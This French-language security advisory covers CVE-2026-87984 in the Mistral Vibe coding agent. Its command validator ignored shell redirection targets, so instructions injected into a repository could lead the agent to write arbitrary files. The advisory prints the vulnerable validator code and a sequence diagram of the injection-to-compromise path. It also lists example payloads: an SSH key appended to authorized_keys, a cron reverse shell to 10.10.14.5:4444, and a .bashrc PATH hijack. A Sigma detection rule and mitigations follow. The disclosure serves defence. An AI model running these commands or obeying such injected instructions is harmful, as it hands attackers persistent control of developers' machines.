Aller au contenu

CVE-2026-87984 : écriture arbitraire de fichiers via omission des cibles de redirection shell dans Mistral vibe

HERMES

SCORE DE MENACE HERMES & COMPROMISSION DE L'HÔTE

Cible : Mistral Vibe Coding Agent (mistral-vibe)
Confiance : 99%
94 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 19 / 20
Activité de menace 19 / 20
Militarisation 19 / 20
Exposition 18 / 20
Prévalence 18 / 20
Impact 19 / 20
Maturité de l'exploit 19 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le CVSS v4.0 évalue la CVE-2026-87984 à 9.3 (Critique, CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H). Le score Hermes s'établit à 94 (CRITIQUE). Cette sévérité découle de la possibilité pour un attaquant d'injecter des clés SSH autorisées, des tâches cron ou de modifier les profils shell sans aucune interaction de l'opérateur.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-87984: Mistral Vibe Arbitrary File Write via Shell Redirection Target OmissionVULNÉRABILITÉ

Nœuds connectés : 3
Relations sortantes actives
→ affectsCOMPOSANTMistral Vibe Coding Agent
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Mistral Vibe Coding Agent documented in Hermes dossier.”

Preuves vérifiées associées :
→ exploitsMODÈLE D'ATTAQUEAAP-002: Indirect Context Injection
92% VERY_HIGH

Adversary embeds covert payload instructions into retrieved external data (web pages, repositories, emails) that subvert model planning when parsed by autonomous agents.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“CVE-2026-87984 weaponizes the agentic attack pattern formalized under AAP-002.”

Preuves vérifiées associées :
92% VERY_HIGH

Adversarial subversion of structured tool execution arguments (SQL, Shell, Filepath) passed from an LLM agent to host OS tools or MCP endpoints.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“CVE-2026-87984 weaponizes the agentic attack pattern formalized under AAP-003.”

Preuves vérifiées associées :

1. Contexte technique & matrice des versions affectées

Section intitulée « 1. Contexte technique & matrice des versions affectées »
ParamètreSpécification TechniqueContexte Threat Intelligence
Identifiant CVECVE-2026-87984Découvert par Esteban Tonglet (HiddenLayer)
Faiblesse CWECWE-22 (Traversée de répertoire), CWE-732 (Contrôle d’accès incorrect)Défaut de visite des nœuds de redirection AST
Vecteur d’attaqueInjection indirecte de prompt (AAP-002) / AAP-003Pull request, issue ou commentaire de code malveillant
Composant vulnérableValidateur AST dans Mistral Vibe (vibe command evaluator)Valide la commande en ignorant les cibles de redirection
Versions affectéesmistral-vibe < 1.1.0Environnements avec auto-approbation active
Version corrigéevibe >= 1.1.0Visiteur AST récursif inspectant toutes les redirections
Impact systémiqueÉcriture arbitraire, persistance système, prise de contrôle SSHChemin direct vers la compromission persistante de l’hôte

2. Décomposition technique approfondie & cause racine

Section intitulée « 2. Décomposition technique approfondie & cause racine »

A. La séparation des arguments et des redirections dans l’AST

Section intitulée « A. La séparation des arguments et des redirections dans l’AST »

En syntaxe Bash, les redirections de flux (>, >>, 1>, 2>) sont représentées par tree-sitter-bash au sein d’un nœud redirected_statement ou file_redirect distinct de la commande elle-même :

redirected_statement
├── body: command
│ ├── name: command_name -> "echo"
│ └── argument: word -> '"ssh-ed25519 AAAA..."'
└── redirect: file_redirect
├── operator: ">>"
└── destination: word -> "/home/user/.ssh/authorized_keys"

L’algorithme de contrôle de Mistral Vibe ne parcourait que les enfants directs de type command_argument. Les nœuds file_redirect étaient purement ignorés :

# Logique vulnérable dans Mistral Vibe (< 1.1.0)
def validate_command_safety(parsed_ast_node, allowed_commands, workspace_root):
cmd_name = extract_command_name(parsed_ast_node)
if cmd_name not in allowed_commands:
return False
# ANOMALIE : Seuls les arguments positionnels sont inspectés !
for arg in extract_positional_arguments(parsed_ast_node):
if not is_safe_workspace_path(arg, workspace_root):
return False
# Les cibles de redirection (file_redirect) ne sont JAMAIS testées !
return True # Auto-approuvé !

Comme echo figure sur la liste des commandes autorisées et que "ssh-ed25519..." ne contient pas de chemin interdit, la validation réussit. Bash crée ou modifie ensuite le fichier système ciblé.


sequenceDiagram
autonumber
actor Attaquant as Attaquant Distant
participant Depot as Dépôt Git
participant LLM as Moteur LLM Vibe
participant Filtre as Filtre AST
participant OS as Système d'Exploitation Hôte
Attaquant->>Depot: Implante un prompt malveillant (AAP-002)
Depot->>LLM: Le développeur exécute : "vibe 'configure le projet'"
LLM->>LLM: Analyse et exécute les consignes injectées
LLM->>Filtre: Émet : echo "cle_attaquant" >> ~/.ssh/authorized_keys
Filtre->>Filtre: Vérifie 'echo' -> AUTORISÉ
Filtre->>Filtre: Ignore la redirection '>> ~/.ssh/authorized_keys'
Filtre->>OS: Le shell exécute la redirection sans confirmation !
OS-->>Attaquant: L'attaquant se connecte en SSH avec accès persistant
  1. Injection de clé SSH (accès distant permanent) :
    Fenêtre de terminal
    echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... root@c2" >> ~/.ssh/authorized_keys
  2. Persistance Cron :
    Fenêtre de terminal
    echo "* * * * * root /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'" > /etc/cron.d/sync_job
  3. Détournement d’environnement shell :
    Fenêtre de terminal
    echo "export PATH=/tmp/evil_bin:\$PATH" >> ~/.bashrc

title: Redirection de Sortie Mistral Vibe Hors Espace de Travail
id: 87984001-vibe-redirection-bypass-fr
status: experimental
description: Détecte des redirections de fichiers ciblant des répertoires sensibles exécutées sous un processus parent Mistral Vibe.
references:
- https://blog.marcfredericgomez.fr/six-contournements-de-permissions-sur-mistral-vibe/
author: Hermes Codex Cyber Defense Team
logsource:
category: process_creation
product: linux
detection:
selection_parent:
CommandLine|contains: 'vibe'
selection_redirection:
CommandLine|re: '(>|>>)\s*(~|\/etc|\/root|\/home|\/var|\/usr)'
condition: selection_parent and selection_redirection
level: high

  1. Mise à jour immédiate : déployer vibe >= 1.1.0. Le visiteur AST inspecte récursivement chaque redirection de fichier.
  2. Cloisonnement strict : lancer l’agent dans un conteneur avec un système de fichiers en lecture seule (--read-only), à l’exception du sous-dossier de travail du projet.
  3. Audit forensique des fichiers clés : contrôler l’intégrité de ~/.ssh/authorized_keys, /etc/cron.*, et des scripts d’initialisation shell (~/.bashrc, ~/.zshrc).
  4. Surveillance agentique : déployer les règles AgentThreat Studio relatives à AAP-003 : Altération des paramètres d’outils.